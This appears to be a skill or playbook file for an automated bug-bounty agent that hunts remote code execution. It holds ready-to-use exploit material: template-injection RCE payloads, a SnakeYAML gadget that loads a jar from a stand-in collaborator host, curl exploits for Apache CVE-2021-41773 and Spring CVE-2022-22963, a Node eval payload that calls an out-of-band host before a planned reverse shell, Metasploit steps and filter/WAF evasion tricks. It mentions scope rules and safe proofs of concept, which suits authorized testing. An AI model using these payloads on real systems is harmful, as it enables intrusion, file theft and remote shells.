/hunt-rce

name: hunt-rce
description: RCE hunting - template injection, YAML/XML deserialization, dependency confusion, Kubernetes surfaces, CVE-specific exploits (Apache CVE-2021-41773, Spring CVE-2022-22963). OOB-mandatory for blind cases. Wiki-first, FIND schema output.

Hunt: Remote Code Execution

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "remote code execution command injection template injection deserialization CVE" via wiki-search MCP

Hub: [[web-moc]] (live web index). Primary page: [[os-command-injection]]. Payload arsenal: `wiki/payloads/command-injection.md`. Anchors: [[ssti]], [[insecure-deserialization]].

Attack surface signals

**Rank before probing.** Not every free-text field is equally likely to reach an interpreter:

• **Config / template editors** - Nomad, CI job specs, notification templates: user text is compiled, not just stored.
• **Import / render / export endpoints** - `?template=`, `?url=`, document generation, PDF/HTML renderers.
• **Admin and management consoles** - richer surface, weaker input handling, often the shortest path.
• **Deserialization sinks** - any endpoint eating a serialized blob (magic bytes, `!!` YAML tags, Java `AC ED`, PHP `O:`).
• **Version-pinned components** - a fingerprinted Apache 2.4.49 / Spring Cloud Function beats blind probing.

URL patterns: `/management-console/*`, `/admin/settings/*`, `/webhook/*`, `/render?template=`, `/import?url=`

Tech stack signals: | Signal | RCE Vector | |--------|-----------| | Nomad config UI editable | Go text/template injection | | SnakeYAML in classpath | `!!javax.script.ScriptEngineManager` | | ingress-nginx annotations | Path field regex bypass | | Spring Boot `*-routing-expression` header | SpEL injection | | `X-GitHub-Enterprise-Version` | Nomad/collectd/syslog-ng config injection |

Methodology

0. **Prefer a vetted module over a hand-rolled exploit.** For a known CVE/product, check Metasploit FIRST: `bash /root/vm.sh "msfconsole -q -x 'search <cve-or-product>; exit'"`. If a module exists, run it non-interactively (`use <mod>; set RHOSTS <ip>; set LHOST <vpn-ip>; run -z; sessions -l; exit`) rather than writing bespoke exploit code - faster, more reliable, and the exploit logic lives in the vetted module. Hand-roll only when no module fits. 1. Map execution contexts: template engines, shell commands, YAML parsers, file paths, package resolution 2. Enumerate admin/management interfaces: `/management-console`, `/admin`, `/_internal`, `/setup` 3. Template injection probe in every config/free-text field:

{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}

Look for `49` in response, logs, or OOB DNS callbacks.

3b. **Server-side eval/exec sink (Node/Python/Ruby `cmd`-style param):** an endpoint that returns a FIXED message/200 for EVERY body may be `eval()`-ing a specific param and swallowing the error. **Response-diff param-mining MISSES this** (`cmd=test` -> eval error -> same message), so mine with an actual PAYLOAD + OOB, and test BOTH the query-string AND the body (the sink is often on ONE of them only). Node example: `curl -sG -X POST --data-urlencode 'cmd=require("child_process").exec("curl http://OOB/x")' TARGET` -> a callback confirms the sink; then swap the payload for a reverse shell. (Seen on a Node/Express box: a `POST /api/<x>?cmd=` **query** param was eval'd server-side while the body/form `cmd` did nothing.)

4. YAML deserialization:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_COLLAB/exploit.jar"]]]
]

5. Apache CVE-2021-41773/42013 (Apache 2.4.49/2.4.50):

# File read
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# RCE (cgi-bin alias required)
curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

6. Spring Cloud Function SpEL (CVE-2022-22963):

curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

7. Chain: low-severity misconfig (CSRF, traversal) + RCE primitive = critical 8. **Distill (when confirmed)** a reusable template bypass / new CVE, GENERIC, no client host: `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/os-command-injection.md`

**Safe-PoC first.** Every probe above runs `id` (or a bare OOB callback), never a destructive command. Only after a callback or command output confirms the sink do you swap in a reverse shell. Never run a state-changing command (delete, overwrite, service restart) to prove exec - `id` proves it and destroys nothing.

Template Injection RCE Payloads

# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# ERB (Ruby)
<%= `id` %>

# Freemarker
<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}

Evasion

When a probe is filtered rather than absent, the sink may still be reachable:

• **Command filters:** `$IFS` (or `${IFS}`) for blocked spaces, quote/backslash breaking (`c""url`, `w\get`), `base64 -d | sh`, wildcard globbing (`/???/??t`), `$(...)` / backticks, and env-var indirection.
• **Template keyword filters:** rebuild blocked names via attribute access and concatenation (Jinja `request|attr('application')...`, `'os'` assembled from chars) rather than the literal `os`/`popen`.
• **WAF on the body:** move the payload to the query string (or vice versa) - the eval sink in step 3b frequently lives on only one of them.

Marker discipline (`hunt-core`): use a unique 8+ char canary in reflected/SSTI probes, never `test`, and check the bas